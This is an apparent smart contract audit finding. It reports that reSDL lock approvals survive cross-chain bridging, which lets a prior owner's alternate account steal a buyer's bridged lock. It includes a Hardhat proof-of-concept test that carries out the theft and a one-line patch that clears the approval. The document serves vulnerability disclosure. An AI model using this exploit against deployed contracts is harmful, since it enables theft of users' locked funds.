Summary
The reSDL token approval is not deleted when the lock is bridged to an other chain
Vulnerability Details
When a reSDL token is bridged to an other chain, the handleOutgoingRESDL() function is called to make the state changes into the sdlPool contract. The function executes the following:
function handleOutgoingRESDL(
address _sender,
uint256 _lockId,
address _sdlReceiver
)
external
onlyCCIPController
onlyLockOwner(_lockId, _sender)
updateRewards(_sender)
updateRewards(ccipController)
returns (Lock memory)
{
Lock memory lock = locks[_lockId];
delete locks[_lockId].amount;
delete lockOwners[_lockId];
balances[_sender] -= 1;
uint256 totalAmount = lock.amount + lock.boostAmount;
effectiveBalances[_sender] -= totalAmount;
effectiveBalances[ccipController] += totalAmount;
sdlToken.safeTransfer(_sdlReceiver, lock.amount);
emit OutgoingRESDL(_sender, _lockId);
return lock;
}
As we can see, it deletes the lock.amount of the lockId, removes the ownership of the lock and decrements the lock balance of the account that is bridging the lock.
The approval that the user had before bridging the reSDL lock will remain there and he can get benefited from it by stealing the NFT.
Consider the following situation:
A user knows that there is a victim that is willing to pay the underlying value for a reSDL lock ownership transfer. What the malicious user can do is set approval to move his lockId in all supported chains to an alt address that he owns. Then, he trades the underlying value for the reSDL ownership and the lock is transfered to the victim/buyer. If the buyer keeps the lock in this chain nothing happens, but if he bridges any of the other supported chains, the malicious user can use the approval of his alt account to steal the reSDL lock.
Proof of Concept
It is written inside resdl-token-bridge.test.ts because it uses its setup
it('PoC steal reSDL', async () => {
let lockId = 2
let thief = accounts[0]
let victim = accounts[1]
let thiefAccount2 = accounts[2]
let ts = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp
await sdlPool.approve(thiefAccount2, lockId)
assert.equal(await sdlPool.getApproved(2), thiefAccount2);
await bridge.transferRESDL(77, victim, lockId, true, toEther(10), { value: toEther(10) })
let lastRequestMsg = await onRamp.getLastRequestMessage()
assert.deepEqual(
ethers.utils.defaultAbiCoder
.decode(
['address', 'uint256', 'uint256', 'uint256', 'uint64', 'uint64', 'uint64'],
lastRequestMsg[1]
)
.map((d, i) => {
if (i == 0) return d
if (i > 1 && i < 4) return fromEther(d)
return d.toNumber()
}),
[victim, lockId, 1000, 1000, ts, 365 * 86400, 0]
)
assert.deepEqual(
lastRequestMsg[2].map((d) => [d.token, fromEther(d.amount)]),
[[sdlToken.address, 1000]]
)
assert.equal(lastRequestMsg[3], wrappedNative.address)
assert.equal(lastRequestMsg[4], '0x11')
await expect(sdlPool.ownerOf(lockId)).to.be.revertedWith('InvalidLockId()')
await offRamp
.connect(signers[6])
.executeSingleMessage(
ethers.utils.formatBytes32String('messageId'),
77,
ethers.utils.defaultAbiCoder.encode(
['address', 'uint256', 'uint256', 'uint256', 'uint64', 'uint64', 'uint64'],
[victim, lockId, 1000, 1000, ts, 365 * 86400, 0]
),
sdlPoolCCIPController.address,
[{ token: sdlToken.address, amount: toEther(25) }]
)
assert.equal(await sdlPool.ownerOf(2), victim)
assert.equal(await sdlPool.getApproved(2), thiefAccount2);
await sdlPool
.connect(signers[2])
.transferFrom(victim, thief, lockId)
assert.equal(await sdlPool.ownerOf(2), thief)
})
Impact
High, possibility to steal funds
Tools Used
Manual review
Recommendations
When bridging a lock between chains, the lock approval should be deleted.
function handleOutgoingRESDL(
address _sender,
uint256 _lockId,
address _sdlReceiver
)
external
onlyCCIPController
onlyLockOwner(_lockId, _sender)
updateRewards(_sender)
updateRewards(ccipController)
returns (Lock memory)
{
Lock memory lock = locks[_lockId];
delete locks[_lockId].amount;
delete lockOwners[_lockId];
balances[_sender] -= 1;
+ delete tokenApprovals[_lockId];
uint256 totalAmount = lock.amount + lock.boostAmount;
effectiveBalances[_sender] -= totalAmount;
effectiveBalances[ccipController] += totalAmount;
sdlToken.safeTransfer(_sdlReceiver, lock.amount);
emit OutgoingRESDL(_sender, _lockId);
return lock;
}
